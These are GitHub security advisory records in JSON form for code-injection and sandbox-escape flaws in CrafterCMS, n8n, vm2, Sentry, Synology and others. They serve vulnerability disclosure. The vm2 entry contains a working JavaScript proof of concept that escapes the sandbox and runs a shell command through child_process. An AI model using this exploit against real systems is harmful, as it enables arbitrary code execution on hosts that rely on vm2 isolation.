CWE-913

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.craftercms:crafter-studio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-6384"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-20T13:28:38Z",
    "nvd_published_at": "2025-06-19T21:15:27Z",
    "severity": "HIGH"
  },
  "details": "Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of CrafterCMS allows authenticated developers to execute OS commands via Groovy Sandbox Bypass.\n\nBy inserting malicious Groovy elements, an attacker may bypass Sandbox restrictions and obtain RCE (Remote Code Execution).\n\nThis issue affects CrafterCMS: from 4.0.0 through 4.2.2.",
  "id": "GHSA-5644-3vgq-2ph5",
  "modified": "2025-06-20T13:28:38Z",
  "published": "2025-06-19T21:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6384"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftercms/studio/commit/471bbad07cf1f3b420529a020c1409ad57d48a4e"
    },
    {
      "type": "WEB",
      "url": "https://docs.craftercms.org/current/security/advisory.html#cv-2025061901"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftercms/studio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Crafter Studio Groovy Sandbox Bypass"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-23258"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-02T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Authenticated users with Administrator or Developer roles may execute OS commands by SPEL Expression in Spring beans. SPEL Expression does not have security restrictions, which will cause attackers to execute arbitrary commands remotely (RCE).",
  "id": "GHSA-58pg-75f2-3jxj",
  "modified": "2021-12-04T00:01:15Z",
  "published": "2021-12-03T00:00:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23258"
    },
    {
      "type": "WEB",
      "url": "https://docs.craftercms.org/en/3.1/security/advisory.html#cv-2021120101"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@sentry/browser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0-alpha.1"
            },
            {
              "fixed": "8.33.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@sentry/browser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.119.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-03T18:26:53Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\nIn case a Prototype Pollution vulnerability is present in a user\u0027s application or bundled libraries, the Sentry SDK could potentially serve as a gadget to exploit that vulnerability. The exploitability depends on the specific details of the underlying Prototype Pollution issue.\n\n\u003e [!NOTE]\n\u003e This advisory does not indicate the presence of a Prototype Pollution within the Sentry SDK itself. Users are strongly advised to first address any Prototype Pollution vulnerabilities in their application, as they pose a more critical security risk.\n\n### Patches\nThe issue was patched in all Sentry JavaScript SDKs starting from the [8.33.0](https://github.com/getsentry/sentry-javascript/releases/tag/8.33.0) version.\nAlso, the fix was backported to SDK v7 in [7.119.1](https://github.com/getsentry/sentry-javascript/releases/tag/7.119.1).\n\n### References\n* [Prototype Pollution](https://portswigger.net/web-security/prototype-pollution)\n* [Prototype Pollution gadgets](https://portswigger.net/web-security/prototype-pollution#prototype-pollution-gadgets)\n* [sentry-javascript#13838](https://github.com/getsentry/sentry-javascript/pull/13838)",
  "id": "GHSA-593m-55hh-j8gv",
  "modified": "2024-10-04T16:32:02Z",
  "published": "2024-10-03T18:26:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry-javascript/security/advisories/GHSA-593m-55hh-j8gv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry-javascript/pull/13838"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry-javascript/commit/35bdc87dee3498794e34c1ad35dd9927950c8766"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getsentry/sentry-javascript"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry-javascript/releases/tag/7.119.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getsentry/sentry-javascript/releases/tag/8.33.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Sentry SDK Prototype Pollution gadget in JavaScript SDKs"
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-5401"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-04T15:15:54Z",
    "severity": "MODERATE"
  },
  "details": "Improper control of dynamically-managed code resources vulnerability in WebAPI component in Synology DiskStation Manager (DSM) before 7.1.1-42962-8 and 7.2.1-69057-2 and 7.2.2-72806 and Synology Unified Controller (DSMUC) before 3.1.4-23079 allows remote authenticated users to obtain privileges without consent via unspecified vectors.",
  "id": "GHSA-5fr5-6cwj-9hp2",
  "modified": "2025-12-04T15:30:33Z",
  "published": "2025-12-04T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5401"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/en-global/security/advisory/Synology_SA_24_27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-31032"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-627",
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-12T19:15:10Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA DGX A100 SBIOS contains a vulnerability where a user may cause a dynamic variable evaluation by local access. A successful exploit of this vulnerability may lead to denial of service.",
  "id": "GHSA-5q7c-3gj2-48qw",
  "modified": "2024-01-12T21:30:19Z",
  "published": "2024-01-12T21:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31032"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5510"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-39983"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913",
      "CWE-915"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-02T13:15:45Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability that poses a potential risk of polluting the MXsecurity sqlite database and the nsm-web UI has been identified in MXsecurity versions prior to v1.0.1. This vulnerability might allow an unauthenticated remote attacker to register or add devices via the nsm-web application.\n\n",
  "id": "GHSA-5r9f-76wq-x3p4",
  "modified": "2024-04-04T07:22:22Z",
  "published": "2023-09-02T15:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39983"
    },
    {
      "type": "WEB",
      "url": "https://www.moxa.com/en/support/product-support/security-advisory/mpsa-230403-mxsecurity-series-multiple-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-1091"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-09-11T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory, aka \u0027Windows Graphics Component Information Disclosure Vulnerability\u0027. This CVE ID is unique from CVE-2020-1097.",
  "id": "GHSA-5vgp-w563-7c6h",
  "modified": "2024-01-01T00:30:41Z",
  "published": "2022-05-24T17:27:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1091"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1091"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.123.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25049"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-04T18:03:09Z",
    "nvd_published_at": "2026-02-04T17:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nAdditional exploits in the expression evaluation of n8n have been identified and patched following [CVE-2025-68613](https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp).\n\nAn authenticated user with permission to create or modify workflows could abuse crafted expressions in workflow parameters to trigger unintended system command execution on the host running n8n.\n\n### Patches\n\nThe issue has been fixed in n8n versions 1.123.17 and 2.5.2. Users should upgrade to these versions or later to remediate the vulnerability.\n\n### Workarounds\n\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n\n- Limit workflow creation and editing permissions to fully trusted users only.\n- Deploy n8n in a hardened environment with restricted operating system privileges and network access to reduce the impact of potential exploitation.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.\n\n### Resources\n\n- Best practices for [securing n8n](https://docs.n8n.io/hosting/securing/overview/)\n- Initial vulnerability advisory: [CVE-2025-68613](https://github.com/n8n-io/n8n/security/advisories/GHSA-v98v-ff95-f3cp)\n\n---\n\nn8n has adopted CVSS 4.0 as primary score for all security advisories. CVSS 3.1 vector strings are provided for backward compatibility.\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
  "id": "GHSA-6cqr-8cfr-67f8",
  "modified": "2026-02-04T19:53:17Z",
  "published": "2026-02-04T18:03:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-6cqr-8cfr-67f8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25049"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/commit/7860896909b3d42993a36297f053d2b0e633235d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/commit/936c06cfc1ad269a89e8ef7f8ac79c104436d54b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "n8n Has Expression Escape Vulnerability Leading to RCE"
}

{
  "affected": [],
  "aliases": [
    "CVE-2014-9852"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-03-17T14:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "distribute-cache.c in ImageMagick re-uses objects after they have been destroyed, which allows remote attackers to have unspecified impact via unspecified vectors.",
  "id": "GHSA-6hr3-77qj-w9w9",
  "modified": "2022-05-14T02:04:43Z",
  "published": "2022-05-14T02:04:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9852"
    },
    {
      "type": "WEB",
      "url": "https://anonscm.debian.org/cgit/collab-maint/imagemagick.git/commit/?h=debian-patches/6.8.9.9-4-for-upstream\u0026id=37ec7d53dcb99fbd1f5c33442594d5e279630563"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1343512"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-07/msg00002.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-07/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-07/msg00018.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/06/02/13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47210"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T17:51:05Z",
    "nvd_published_at": "2026-06-12T15:16:29Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA sandbox escape vulnerability in `vm2` allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (`WebAssembly.promising` / `WebAssembly.Suspending`). In the tested configuration, a JSPI-backed Promise can reach `Promise.prototype.finally()` in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.\n\nThis is a critical sandbox escape: any application that treats `vm2` as a security boundary may be fully compromised.\n\n### Details\n\nOn node26, JSPI-backed Promises created through `WebAssembly.promising(...)` do not behave like ordinary sandbox Promises.\n\nThat path yields a host-originated `TypeError` during JSPI processing. Inside attacker-controlled species logic reached through `.finally()`, the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object\u0027s constructor path can be used to reach host `process`, which leads to arbitrary code execution in the host process.\n\nThis behavior is specific to the JSPI / `.finally()` interaction. In contrast, the corresponding `then` / `catch` paths still appeared to route through `vm2`\u0027s expected `localPromise` machinery in my testing.\n\n### PoC\nEnvironment: node:26-bookworm\n```javascript\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\n(()=\u003e{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=\u003eWebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=\u003e{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=\u003e{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=\u003e{\n    let P=e.constructor.constructor(\u0027return process\u0027)()\n    P.mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,\u0027constructor\u0027,{get(){return F}});p.finally(()=\u003e{})});return 1})()\n`));\n```\n\n### Impact\nThis is a **sandbox escape leading to arbitrary code execution in the host process**.\n\nWho is impacted:\n\n- any application using `vm2` to execute attacker-controlled JavaScript as a security boundary\n- especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)\n\nPractical impact:\n\n- arbitrary command execution in the host process\n- arbitrary file read / write accessible to the host process\n- theft of secrets, tokens, credentials, and application data\n- complete compromise of services relying on `vm2` isolation",
  "id": "GHSA-6j2x-vhqr-qr7q",
  "modified": "2026-06-12T20:55:08Z",
  "published": "2026-05-29T17:51:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6j2x-vhqr-qr7q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47210"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass"
}